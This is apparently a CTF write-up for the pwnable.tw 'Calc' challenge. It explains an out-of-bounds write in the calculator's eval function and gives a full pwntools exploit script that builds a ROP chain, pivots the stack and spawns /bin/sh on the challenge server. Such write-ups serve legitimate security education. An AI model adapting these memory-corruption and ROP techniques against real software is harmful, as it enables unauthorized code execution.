---
# System prepended metadata

title: Calc
tags: [pwnable.tw, pwn]

---

###### tags: `pwnable.tw` `pwn`
# Calc 

**Learning Points:**
- Fuzz it a little...
    - +0
    - +10000000
    - +++++
    - 1+1*1-1 
    - ...
- 

## Vulnerability:

The vulnerability lies in the `eval` function.

![](https://i.imgur.com/FdxbZiF.png)

Looking at the example for `1+2`, 

![](https://i.imgur.com/BryCq3q.png)

At `0xffffcfe8`, it is tracking which integer to use. This is not especially important for the vulnerability, but you may notice that number increasing if you do something like this `123+1*1+1*1+1*1`. This happens because the calc program tries to do the multiplication before the addition, and would have to keep track of which integer to use.

At `0xffffcfe8+4`, its the first integer `1`. 

At `0xffffcfe8+8`, its the second integer `2`.

---

At `calc+134`, the result is preparing to be printed. 

![](https://i.imgur.com/aajxgZz.png)

In this operation (`mov eax, DWORD PTR [ebp+eax*4-0x59c]`), `eax` is `*0xffffcfe8` which is the place that tracks which integer to use. In normal situations, it is going to be `1` and subtracted with `1` to get `0`. The **main vuln** happens when `*0xffffcfe8` is not `1`. 

This can happen when we do something like this `+10000`. When this is done, we corrupt the place that tracks which integer to use. Looking at the eval IDA function above, specfically line 5-7:
```
 if ( operation == '+' )
  {
    a1[*a1 - 1] += a1[*a1];
  }
```
The result of the addition is written to a1[*a1-1]. In the event where we only supply `+10000`, `0xffffcfe8` is the place that track which integer to use. It will be the value of 1. While `0xffffcfe8+4` = `10000`, we will do our addition into `0xffffcfe8` and corrupt that pointer. This pointer is then used in printf later on, and you might be able to notice some form of memory leak.

## Exploitation:

Concept of exploitation is to write my rop gadgets into the function `calc`'s stack frame. Since `calc` only exits at `0x8049433` when we supply an invalid express, we can repeatedly write the stack value to make our stack before triggering the exit.

---

First we have to locate the stack address. Set a breakpoint at `calc+186`, the stack address at that point of time is `0xffffd58c`. This is at offset `+361`.

The way to do an arbitrary write is this:
1) Send `+361+1`
2) Look at the `initial value` at `*0xffffd58c`
3) The target value written = `initial value + 1`

Doing this, we will write `0x0804949a(0x08049499+1*4)` into `*0xffffd58c`. And if we supply an invalid expression of `aaaa` next, calc function will ret into what we control.

___

Once we figure that out, we will ROP our way to a shell. Sadly, this binary does not seem to have any libc loaded, which I dont know why. My exploitation technique is this:
1) Locate a code cave in the ELF that is writable. This can be done with running the command `vmmap` in gdb and locate a R/W area. In my case, I found this `0x80ecfc0`.
2) Set up stack as below:
```
stack layout ==
+0x00: 	read function		(0x0806e6d0)
+0x04: 	stack pivot gadget 	(return address after read)
+0x08: 	0
+0x0C:	read destination 	(code cave)
+0x010:	read size
```
3) My technique is to return into read and i will send the stage 2 gadgets. I feel this is easier than manually writing using the offset method above.
4) After read is done, I noticed that the address of the code cave is in register ecx. So the stack pivot gadget, I found a `mov esp, ecx ; ret ` gadget.
5) We successfully pivot our stack to the code cave. Now we can just do our normal rop.

## Solution:
```
from pwn import *

elf = ELF('./calc')
OFFSET_PUTS_PLT = elf.symbols['puts']
OFFSET_READ_PLT = elf.symbols['read']
print("OFFSET_READ_PLT = ", hex(OFFSET_READ_PLT))

#p = gdb.debug('./calc', 
	#'''
	#break *calc+0xBA
	#break *eval+0x64
	#commands
	#print("In addition")
	#x/20wx $eax+$edx*4+0x4
	#end
	#break *eval+0x98 
	#commands
	#print("In subtraction")
	#x/20wx $eax+$edx*4+0x4
	#end
	#continue
	#''')

#p = process('./calc')
p = remote('chall.pwnable.tw' ,10100)


p.recvuntil(b'calculator')
p.sendline(b"+361")

#At +361, address = 0x08049499
# Writes read address into return address
initialAddress = 0x08049499
readAddress = 0x0806e6d0
offset = readAddress - initialAddress
payload = "+361+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)

# Writes a code cave address
initialAddress = 0x25237
targetValue = 0x080bc913		#mov esp, ecx ; ret 
offset = targetValue - initialAddress
payload = "+362+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)

################# CHECK THIS

# Writes read size
initialAddress = 0x080976dc
targetValue = 0
offset = initialAddress - targetValue
payload = "+363-" + str(offset) 
payload = payload.encode()
p.recv()
p.sendline(payload)

# Writes read destination
initialAddress = 0x080976dc
targetValue = 0x80ecfc0
offset = targetValue - initialAddress
payload = "+364+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)

# Writes read size
initialAddress = 0x1
targetValue = 0x200
offset = targetValue - initialAddress
payload = "+365+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)

# This will terminate calc and return into our read
p.sendline(b"aaaa")

# Here we send our rop gadget
#p.recv()
ropGadgets = p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x080701d0)	#pop edx ; pop ecx ; pop ebx ; ret
ropGadgets += p32(0x0)
ropGadgets += p32(0x0)
ropGadgets += p32(0x80ed008)	#address of /bin/sh that is after the syscall
ropGadgets += p32(0x0805c34b)	#pop eax ; ret
ropGadgets += p32(0xb)
ropGadgets += p32(0x0806dda3)	#syscall taken from alarm	
ropGadgets += b"/bin/sh\x00"
p.sendline(ropGadgets)

p.interactive()

'''
stack ==
+0x00: 	read function		(0x0806e6d0)
+0x04: 	stack pivot gadget 	(return address after read)
+0x08: 	0
+0x0C:	read destination 	(code cave)
+0x010:	read size
'''
```